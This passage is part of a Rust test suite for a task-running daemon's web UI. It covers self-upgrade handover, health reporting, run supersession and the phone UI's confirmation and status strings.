14012 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14013 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14014 progress.advance(crate::updater::Stage::Parking);
14015 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14016
14017 let health = fx.get("/api/health").await.json();
14018 assert_eq!(health["upgrade"]["stage"], "parking");
14019 assert_eq!(health["upgrade"]["from"], "0.5.1");
14020 assert_eq!(health["upgrade"]["to"], "0.5.2");
14021 let waiting_on = health["upgrade"]["waiting_on"]
14022 .as_str()
14023 .expect("waiting_on is set while parking a known run");
14024 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14025 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14026 }
14027
14028 #[tokio::test]
14029 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14030 let fx = Fixture::start().await;
14031 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14032 progress.advance(crate::updater::Stage::Done);
14033 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14034
14035 let health = fx.get("/api/health").await.json();
14036 assert_eq!(health["upgrade"]["stage"], "done");
14037 assert!(
14038 health["upgrade"]["waiting_on"].is_null(),
14039 "nothing to wait on once it is done"
14040 );
14041 }
14042
14043 #[tokio::test]
14044 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14045 let home = TempDir::new().expect("temp home");
14046 let runs = home.path().join("runs");
14047 std::fs::create_dir_all(&runs).expect("runs dir");
14048 let ui = Ui::new(
14049 Queue::at(home.path().join("queue")),
14050 Questions::at(home.path().join("questions")),
14051 Talks::at(home.path().join("talks")),
14052 runs,
14053 home.path().to_path_buf(),
14054 PathBuf::from("/repo/magi"),
14055 )
14056 .with_launch(launch_idle);
14057 let looping = ui.looping();
14058 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14059 .await
14060 .expect("bind loopback");
14061 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14062
14063 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14064 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14065
14066 hand_over(home.path(), &looping, served, |_| Ok(1))
14067 .await
14068 .expect("hand over");
14069
14070 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14071 assert_eq!(
14072 after.stage,
14073 crate::updater::Stage::Restarting,
14074 "hand_over owns the record through parking and up to restarting; \
14075 the successor is what finishes it"
14076 );
14077 }
14078
14079 #[tokio::test]
14082 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14083 for fail in [false, true] {
14084 let home = TempDir::new().expect("temp home");
14085 let ui = idle_ui(&home);
14086 let looping = ui.looping();
14087 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14088 .await
14089 .expect("bind loopback");
14090 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14091 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14092 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14093
14094 let calls = std::sync::atomic::AtomicUsize::new(0);
14095 let outcome = hand_over(home.path(), &looping, served, |_| {
14096 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14097 if fail {
14098 anyhow::bail!("no exec")
14099 } else {
14100 Ok(4242)
14101 }
14102 })
14103 .await;
14104 assert_eq!(outcome.is_err(), fail);
14105 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14106
14107 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14108 .expect("upgrade.log is written under the home");
14109 for step in [
14110 "entered",
14111 "finish_loop",
14112 "listener released",
14113 "starting the successor",
14114 ] {
14115 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14116 }
14117 assert!(
14118 log.contains(if fail { "did not start" } else { "pid 4242" }),
14119 "{log}"
14120 );
14121 }
14122 }
14123
14124 #[tokio::test]
14127 async fn the_handover_signal_wakes_one_waiter_once() {
14128 let signal = Notify::new();
14129 signal.notify_one();
14131 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14132 .await
14133 .expect("an early signal is still seen");
14134 assert!(
14136 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14137 .await
14138 .is_err(),
14139 "a consumed signal must not wake a second time"
14140 );
14141 let signal = std::sync::Arc::new(signal);
14143 let waiter = tokio::spawn({
14144 let signal = std::sync::Arc::clone(&signal);
14145 async move { wait_for_handover(&signal).await }
14146 });
14147 tokio::time::sleep(Duration::from_millis(20)).await;
14148 assert!(!waiter.is_finished(), "nothing was signalled yet");
14149 signal.notify_one();
14150 tokio::time::timeout(Duration::from_secs(5), waiter)
14151 .await
14152 .expect("a late signal wakes the waiter")
14153 .expect("join");
14154 }
14155
14156 #[tokio::test]
14157 async fn health_says_how_long_a_handover_has_been_stuck() {
14158 let fx = Fixture::start().await;
14159 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14160 progress.advance(crate::updater::Stage::Replaced);
14161 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14162 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14163
14164 let health = fx.get("/api/health").await.json();
14165 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14166 assert!(stuck >= 600, "{stuck}");
14167 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14168 }
14169
14170 fn idle_ui(home: &TempDir) -> Ui {
14171 let runs = home.path().join("runs");
14172 std::fs::create_dir_all(&runs).expect("runs dir");
14173 Ui::new(
14174 Queue::at(home.path().join("queue")),
14175 Questions::at(home.path().join("questions")),
14176 Talks::at(home.path().join("talks")),
14177 runs,
14178 home.path().to_path_buf(),
14179 PathBuf::from("/repo/magi"),
14180 )
14181 .with_launch(launch_idle)
14182 }
14183
14184 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14186 let looping = ui.looping();
14187 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14188 .await
14189 .expect("bind loopback");
14190 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14191 let told = std::sync::Mutex::new(None);
14192 hand_over(home.path(), &looping, served, |resume| {
14193 *told.lock().unwrap() = Some(resume);
14194 Ok(1)
14195 })
14196 .await
14197 .expect("hand over");
14198 told.into_inner().unwrap().expect("successor was started")
14199 }
14200
14201 #[tokio::test]
14202 async fn a_running_loop_is_resumed_by_the_successor() {
14203 let home = TempDir::new().expect("temp home");
14204 let ui = idle_ui(&home);
14205 ui.start_loop(None).expect("start");
14206 ui.park_for_upgrade().expect("park");
14207 for _ in 0..500 {
14209 if !ui.loop_view(None).running {
14210 break;
14211 }
14212 tokio::time::sleep(Duration::from_millis(2)).await;
14213 }
14214 assert!(handed_over(&home, ui).await, "a running loop must resume");
14215
14216 let successor = idle_ui(&home);
14217 assert!(!successor.loop_view(None).running);
14218 assert!(successor.resume_after_handover(true));
14219 assert!(successor.loop_view(None).running);
14220 successor.stop_loop(None, false).expect("stop");
14221 }
14222
14223 #[tokio::test]
14224 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14225 let home = TempDir::new().expect("temp home");
14226 let ui = idle_ui(&home);
14227 ui.start_loop(None).expect("start");
14228 ui.park_for_upgrade().expect("first park");
14229 ui.park_for_upgrade().expect("second park");
14230 assert!(handed_over(&home, ui).await);
14231 }
14232
14233 #[tokio::test]
14234 async fn a_stop_during_the_handover_wait_is_honoured() {
14235 let home = TempDir::new().expect("temp home");
14236 let ui = idle_ui(&home);
14237 ui.start_loop(None).expect("start");
14238 ui.park_for_upgrade().expect("park");
14239 ui.stop_loop(None, false).expect("stop");
14240 assert!(!handed_over(&home, ui).await);
14241 }
14242
14243 #[tokio::test]
14244 async fn an_idle_loop_stays_stopped_across_the_handover() {
14245 let home = TempDir::new().expect("temp home");
14246 let ui = idle_ui(&home);
14247 ui.park_for_upgrade().expect("park");
14248 assert!(!handed_over(&home, ui).await);
14249
14250 let successor = idle_ui(&home);
14251 assert!(!successor.resume_after_handover(false));
14252 assert!(!successor.loop_view(None).running);
14253 }
14254
14255 #[tokio::test]
14256 async fn a_loop_the_operator_stopped_is_not_resumed() {
14257 let home = TempDir::new().expect("temp home");
14258 let ui = idle_ui(&home);
14259 ui.start_loop(None).expect("start");
14260 ui.stop_loop(None, false).expect("stop");
14261 ui.park_for_upgrade().expect("park");
14262 assert!(!handed_over(&home, ui).await);
14263 }
14264
14265 #[test]
14266 fn only_an_explicit_one_requests_a_resume() {
14267 assert!(!resume_requested(None));
14268 assert!(!resume_requested(Some("0".into())));
14269 assert!(!resume_requested(Some("".into())));
14270 assert!(resume_requested(Some("1".into())));
14271 }
14272
14273 #[test]
14274 fn the_upgrade_button_arms_before_it_restarts_anything() {
14275 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14278 assert!(APP_JS.contains("Replace the binary and restart?"));
14279 assert!(APP_JS.contains("function confirmed("));
14280 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14285 assert!(
14289 APP_JS.contains("Parking, then restarting"),
14290 "the button says what it is waiting for"
14291 );
14292 assert!(APP_JS.contains("if (!out.to)"));
14295 }
14296
14297 #[test]
14298 fn stopping_the_loop_arms_but_starting_does_not() {
14299 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14302 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14303 assert!(APP_JS.contains("confirmed(button, question)"));
14304 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14307 assert!(APP_JS.contains("const label = btn.textContent;"));
14308 assert!(!APP_JS.contains("Neither direction is guarded"));
14309 }
14310
14311 #[test]
14312 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14313 assert!(
14314 APP_JS.contains("state.health.version"),
14315 "the operator wants to know what is running even with nothing newer"
14316 );
14317 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14318 }
14319
14320 #[test]
14321 fn the_upgrade_button_names_its_destination() {
14322 assert!(
14323 APP_JS.contains("`Update to ${update.to}`"),
14324 "pressing the button should not be a surprise about what it moves to"
14325 );
14326 }
14327
14328 #[test]
14329 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14330 for stage in ["downloading", "replaced", "parking", "restarting"] {
14331 assert!(
14332 APP_JS.contains(&format!("\"{stage}\"")),
14333 "the phone must be able to tell {stage} apart from the others"
14334 );
14335 }
14336 assert!(APP_JS.contains(".waiting_on"));
14337 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14342 assert!(APP_JS.contains("reconnects on its own"));
14343 }
14344
14345 #[test]
14346 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14347 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14356 ..APP_JS.find("function upgrade(").expect("upgrade")];
14357 assert!(
14358 !body.contains(
14359 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14360 ),
14361 "a failed upgrade must not take the whole strip over the way it used to"
14362 );
14363 assert!(
14364 body.contains("upgradeFailNote"),
14365 "the failure has to reach the loop's own note instead"
14366 );
14367 assert_eq!(
14371 body.matches("upgradeFailNote].filter(Boolean).join")
14372 .count(),
14373 2,
14374 "both loop-why writers (quiet and control) must fold the note in"
14375 );
14376 }
14377
14378 #[test]
14379 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14380 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14383 assert!(APP_JS.contains("function upgradeOverdue("));
14384 }
14385
14386 #[test]
14387 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14388 assert!(
14389 APP_JS.contains("Updated to ${upgradeInfo.to"),
14390 "the operator who asked for the restart wants to know it worked"
14391 );
14392 }
14393
14394 #[test]
14395 fn an_error_is_visible_from_where_the_button_is() {
14396 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14401 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14402 assert!(
14403 alert.contains("position: fixed"),
14404 "an error about the thing under your thumb has to be visible from \
14405 where your thumb is: {alert}"
14406 );
14407 assert!(
14408 alert.contains("z-index: 25"),
14409 "above the dock (20) and the run-actions FAB (15), so neither \
14410 buries it: {alert}"
14411 );
14412 assert!(
14413 alert.contains("var(--tap)"),
14414 "and clear of the dock and the home indicator: {alert}"
14415 );
14416 assert!(
14419 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14420 "the FAB's column stays free: {alert}"
14421 );
14422 }
14423
14424 #[tokio::test]
14425 async fn an_older_attempt_says_what_replaced_it() {
14426 let fx = Fixture::start().await;
14427 let q = fx.queue();
14428 let runs = fx.runs();
14429 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14430 write_run(&runs, first, RunStatus::Stalled);
14431 write_run(&runs, second, RunStatus::Blocked);
14432
14433 let mut t = Task::new(
14434 "one task".to_owned(),
14435 "do it".to_owned(),
14436 PathBuf::from("/repo"),
14437 Source::Human,
14438 );
14439 t.runs = vec![first.to_owned(), second.to_owned()];
14440 q.put(&mut t).expect("put");
14441
14442 let rows = fx.get("/api/runs").await.json();
14446 let by = |short: &str| -> Value {
14447 rows.as_array()
14448 .unwrap()
14449 .iter()
14450 .find(|r| r["short"] == short)
14451 .cloned()
14452 .unwrap_or(Value::Null)
14453 };
14454 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14455 assert!(
14456 by("bbbb")["superseded_by"].is_null(),
14457 "the latest attempt is not superseded by anything"
14458 );
14459 assert!(APP_JS.contains("run.superseded_by"));
14461 assert!(APP_JS.contains("Superseded by"));
14462 }
14463
14464 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14465 let mut t = Task::new(
14466 "one task".to_owned(),
14467 "do it".to_owned(),
14468 PathBuf::from("/repo"),
14469 Source::Human,
14470 );
14471 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14472 t.status = status;
14473 t
14474 }
14475
14476 #[test]
14477 fn source_link_picks_the_page_that_filed_the_task() {
14478 let agent = |node: &str| Source::Agent {
14479 run: "20260904-014455-ab12".to_owned(),
14480 node: node.to_owned(),
14481 };
14482 let chat = source_link(&agent("chat")).expect("chat link");
14483 assert_eq!(chat.kind, "chat");
14484 assert_eq!(chat.id, "20260904-014455-ab12");
14485 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14486 let run = source_link(&agent("implement")).expect("run link");
14487 assert_eq!(
14488 (run.kind, run.href.as_str()),
14489 ("run", "#/runs/20260904-014455-ab12")
14490 );
14491 assert_eq!(source_link(&Source::Human), None);
14492 assert_eq!(
14493 source_link(&Source::Issue {
14494 number: 3,
14495 repo: "o/r".to_owned()
14496 }),
14497 None
14498 );
14499 let odd = source_link(&Source::Agent {
14500 run: "a b/c".to_owned(),
14501 node: "chat".to_owned(),
14502 })
14503 .expect("link");
14504 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14505 }
14506
14507 #[test]
14508 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14509 assert!(
14510 !APP_JS.contains("src.node === \"chat\""),
14511 "inline href rule is back"
14512 );
14513 assert!(
14514 APP_JS.matches("sourceLinkOf(").count() >= 4,
14515 "helper must serve every page"
14516 );
14517 assert!(
14518 APP_JS.matches("openChatLink(").count() >= 3,
14519 "the run page still needs its explicit chat link"
14520 );
14521 assert!(
14522 !APP_JS.contains("const openChat = el("),
14523 "the Queue card duplicates its source label link again"
14524 );
14525 assert!(
14526 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14527 "the task page must link a chat source label too"
14528 );
14529 }
14530
14531 #[test]
14532 fn task_ref_carries_the_source_link_for_a_chat_task() {
14533 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14534 t.source = Source::Agent {
14535 run: "20260904-014455-ab12".to_owned(),
14536 node: "chat".to_owned(),
14537 };
14538 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14539 let v = serde_json::to_value(&out).expect("json");
14540 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14541 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14542 assert_eq!(v["source_label"], t.source.label());
14543
14544 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14545 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14546 .expect("json");
14547 assert!(v["source_link"].is_null(), "{v}");
14548 }
14549
14550 #[test]
14551 fn task_view_serializes_source_link() {
14552 let mut t = Task::new(
14553 "t".to_owned(),
14554 "t".to_owned(),
14555 PathBuf::from("/repo"),
14556 Source::Agent {
14557 run: "20260901-000000-aaaa".to_owned(),
14558 node: "implement".to_owned(),
14559 },
14560 );
14561 t.runs.clear();
14562 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14563 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14564 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14565 }
14566
14567 #[tokio::test]
14568 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14569 let fx = Fixture::start().await;
14570 let runs = fx.runs();
14571 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14572 write_run(&runs, old, RunStatus::Blocked);
14573 write_run(&runs, new, RunStatus::Merged);
14574 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14575 fx.queue().put(&mut t).expect("put");
14576
14577 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14578 let task = &view["task"];
14579 assert_eq!(task["status"], "done");
14580 assert_eq!(task["is_latest"], false);
14581 assert_eq!(task["latest"]["short"], "bbbb");
14582 assert_eq!(task["finished_by"]["id"], new);
14583 assert_eq!(task["finished_by"]["outcome"], "merged");
14584 assert_eq!(task["closed_by_hand"], false);
14585 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14586 assert!(APP_JS.contains("finished_by"));
14587 assert!(APP_JS.contains("superseded by run"));
14588 }
14589
14590 #[tokio::test]
14591 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14592 let fx = Fixture::start().await;
14593 let runs = fx.runs();
14594 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14595 write_run(&runs, old, RunStatus::Stalled);
14596 write_run(&runs, new, RunStatus::Blocked);
14597 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14598 fx.queue().put(&mut t).expect("put");
14599
14600 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14601 assert_eq!(task["status"], "held");
14602 assert_eq!(task["is_latest"], true);
14603 assert!(task["latest"].is_null());
14604 assert!(task["finished_by"].is_null());
14605 assert_eq!(task["closed_by_hand"], false);
14606 }
14607
14608 #[tokio::test]
14609 async fn a_direct_run_has_no_task_outcome() {
14610 let fx = Fixture::start().await;
14611 let runs = fx.runs();
14612 let id = "20260901-000000-aaaa";
14613 write_run(&runs, id, RunStatus::Blocked);
14614 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14615 assert!(view["task"].is_null());
14616 }
14617
14618 #[test]
14619 fn task_outcome_does_not_guess_a_finishing_run() {
14620 let a = "20260901-000000-aaaa";
14621 let b = "20260901-000000-bbbb";
14622 let c = "20260901-000000-cccc";
14623 let dir = tempfile::tempdir().expect("tempdir");
14624 write_run(dir.path(), a, RunStatus::Blocked);
14625 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14626 let read = |id: &str| read_run(dir.path(), id).ok();
14628 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14631 let out = task_outcome(&t, a, 3, read);
14632 assert!(out.finished_by.is_none());
14633 assert!(out.closed_by_hand);
14634 let latest = out.latest.expect("latest");
14635 assert_eq!(latest.id, c);
14636 assert_eq!(latest.status, None);
14637 assert_eq!(latest.outcome, "record unreadable");
14638
14639 write_run(dir.path(), c, RunStatus::Ready);
14641 let t = outcome_task(&[a, c], TaskStatus::Done);
14642 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14643 assert_eq!(out.finished_by.expect("finisher").id, c);
14644 assert!(!out.closed_by_hand);
14645
14646 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14648 assert!(task_outcome(&t, a, 3, read).is_latest);
14649 }
14650
14651 #[tokio::test]
14652 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14653 let fx = Fixture::start().await;
14658 let q = fx.queue();
14659 let runs = fx.runs();
14660 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14661 write_run(&runs, first, RunStatus::Blocked);
14662 write_run(&runs, second, RunStatus::Merged);
14663
14664 let mut t = Task::new(
14665 "one task".to_owned(),
14666 "do it".to_owned(),
14667 PathBuf::from("/repo"),
14668 Source::Human,
14669 );
14670 t.runs = vec![first.to_owned(), second.to_owned()];
14671 q.put(&mut t).expect("put");
14672
14673 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14674 assert_eq!(earlier["superseded_by"], "dddd");
14675 assert_eq!(earlier["latest_attempt"]["id"], second);
14676 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14677 assert_eq!(
14678 earlier["latest_attempt"]["resolved"], true,
14679 "the run that replaced it landed, so this one reads as settled"
14680 );
14681
14682 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14683 assert!(
14684 later["superseded_by"].is_null(),
14685 "the latest attempt is not superseded by anything"
14686 );
14687 assert!(
14688 later["latest_attempt"].is_null(),
14689 "the latest attempt has no later attempt of its own"
14690 );
14691
14692 assert!(APP_JS.contains("run.latest_attempt"));
14699 assert!(APP_JS.contains("data-superseded"));
14700 assert!(APP_JS.contains("#/runs/${latest.id}"));
14701 }
14702
14703 #[tokio::test]
14704 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14705 let fx = Fixture::start().await;
14711 let q = fx.queue();
14712 let runs = fx.runs();
14713 let (a, b, c) = (
14714 "20260901-000000-aaaa",
14715 "20260901-000000-bbbb",
14716 "20260901-000000-cccc",
14717 );
14718 write_run(&runs, a, RunStatus::Blocked);
14719 write_run(&runs, b, RunStatus::Blocked);
14720 write_run(&runs, c, RunStatus::Merged);
14721
14722 let mut t = Task::new(
14723 "retried twice".to_owned(),
14724 "do it".to_owned(),
14725 PathBuf::from("/repo"),
14726 Source::Human,
14727 );
14728 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14729 q.put(&mut t).expect("put");
14730
14731 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14732 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14733 assert_eq!(
14734 view["latest_attempt"]["id"], c,
14735 "the chain's current head, not the intermediate Blocked retry"
14736 );
14737 assert_eq!(view["latest_attempt"]["resolved"], true);
14738
14739 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14740 assert_eq!(mid["latest_attempt"]["id"], c);
14741 assert_eq!(mid["latest_attempt"]["resolved"], true);
14742 }
14743
14744 #[tokio::test]
14745 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14746 let fx = Fixture::start().await;
14747 let q = fx.queue();
14748 let runs = fx.runs();
14749
14750 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14753 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14754 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14755 let mut t1 = Task::new(
14756 "still stuck".to_owned(),
14757 "do it".to_owned(),
14758 PathBuf::from("/repo"),
14759 Source::Human,
14760 );
14761 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14762 q.put(&mut t1).expect("put");
14763 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14764 assert_eq!(view1["latest_attempt"]["resolved"], false);
14765 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14766 assert_eq!(view1["latest_attempt"]["done"], true);
14767
14768 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14770 write_run(&runs, run_a, RunStatus::Blocked);
14771 write_run(&runs, run_b, RunStatus::Implementing);
14772 let mut t3 = Task::new(
14773 "retrying".to_owned(),
14774 "do it".to_owned(),
14775 PathBuf::from("/repo"),
14776 Source::Human,
14777 );
14778 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14779 q.put(&mut t3).expect("put");
14780 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14781 assert_eq!(view3["latest_attempt"]["id"], run_b);
14782 assert_eq!(view3["latest_attempt"]["resolved"], false);
14783 assert_eq!(view3["latest_attempt"]["done"], false);
14784
14785 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14790 write_run(&runs, noop_a, RunStatus::Blocked);
14791 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14792 let mut t2 = Task::new(
14793 "claims done".to_owned(),
14794 "do it".to_owned(),
14795 PathBuf::from("/repo"),
14796 Source::Human,
14797 );
14798 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14799 q.put(&mut t2).expect("put");
14800 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14801 assert_eq!(
14802 view2["latest_attempt"]["resolved"], false,
14803 "an unverified no-op claim must not read as a confirmed finish"
14804 );
14805
14806 assert!(APP_JS.contains("latest.resolved"));
14809 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14812 assert!(APP_JS.contains("Latest attempt: "));
14813 assert!(APP_JS.contains("in flight"));
14814 assert!(APP_JS.contains("not resolved"));
14815 }
14816
14817 #[tokio::test]
14818 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14819 let fx = Fixture::start().await;
14820 let js = fx.get("/app.js").await;
14826 assert_eq!(js.status, 200);
14827 let tag = js
14828 .header("etag")
14829 .expect("an etag to revalidate against")
14830 .to_owned();
14831 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14832 assert_eq!(
14833 js.header("cache-control"),
14834 Some("no-cache, must-revalidate"),
14835 "the phone has to ask every time"
14836 );
14837
14838 let again = fx
14841 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14842 .await;
14843 assert_eq!(
14844 again.status, 304,
14845 "a deck it already has costs one round trip"
14846 );
14847 assert!(again.body.is_empty(), "304 carries no body");
14848
14849 let weak = fx
14852 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14853 .await;
14854 assert_eq!(weak.status, 304);
14855 let stale = fx
14856 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14857 .await;
14858 assert_eq!(stale.status, 200, "an older build must be replaced");
14859 assert!(stale.body.contains("renderRunActions"));
14860 }
14861
14862 #[test]
14863 fn the_task_detail_has_an_actions_fab_and_sheet() {
14864 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14865 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14866 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14867 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14869 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14870 assert!(APP_JS.contains("renderTaskActions(task);"));
14872 assert!(APP_JS.contains("renderTaskActions(null);"));
14873 let sheet = APP_JS
14875 .find("function renderTaskActions")
14876 .expect("sheet renderer");
14877 let body = &APP_JS[sheet..sheet + 3000];
14878 assert!(body.contains("changePriority("));
14879 assert!(body.contains("openTaskEdit(task)"));
14880 assert!(body.contains("renderTaskHoldBox(host"));
14881 assert!(body.contains("renderTaskDoneBox(host"));
14882 assert!(body.contains("renderTaskDeleteBox(host"));
14883 assert!(APP_JS.contains("API.priority(id)"));
14884 assert!(APP_JS.contains("API.deleteTask(id)"));
14885 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14887 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14889 }
14890
14891 #[test]
14892 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14893 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14894 let actions = INDEX_HTML
14895 .find("id=\"run-actions-box\"")
14896 .expect("actions box");
14897 assert!(task < actions, "the task entry comes first in the sheet");
14898 assert!(APP_JS.contains("renderRunTaskEntry"));
14899 assert!(APP_JS.contains("\"Open task \""));
14900 assert!(APP_JS.contains("started directly, no task"));
14902 assert!(APP_JS.contains("sheet-task-link"));
14903 assert!(APP_JS.contains("task-chip-link"));
14904 }
14905
14906 #[test]
14907 fn the_deck_never_sends_the_operator_to_a_terminal() {
14908 assert!(
14911 !APP_JS.contains("Run `magi fold` first"),
14912 "the deck must offer the fold, not prescribe a shell command"
14913 );
14914 assert!(APP_JS.contains("foldRun:"));
14915 assert!(APP_JS.contains("resumeRun:"));
14916 assert!(APP_JS.contains("renderRunActions"));
14917
14918 assert!(APP_JS.contains("armedFold"));
14920 assert!(APP_JS.contains("Yes, fold worktrees"));
14921
14922 assert!(APP_JS.contains("can no longer be resumed"));
14925 }
14926
14927 #[test]
14928 fn a_finished_run_explains_itself_with_its_own_last_line() {
14929 assert!(
14935 !APP_JS.contains("collapsed on agent quota"),
14936 "a stall must not be explained by a cause the deck did not check"
14937 );
14938 assert!(
14939 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14940 "and a block must not offer a guess with an `or` in it"
14941 );
14942
14943 assert!(
14947 APP_JS.contains("setText(r.event, run.event || \"\")"),
14948 "the run's last line is rendered unconditionally"
14949 );
14950 assert!(
14951 !APP_JS.contains("moving && run.event"),
14952 "and never gated on the run still moving"
14953 );
14954
14955 assert!(APP_JS.contains("lost to quota"));
14957 }
14958
14959 #[test]
14981 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
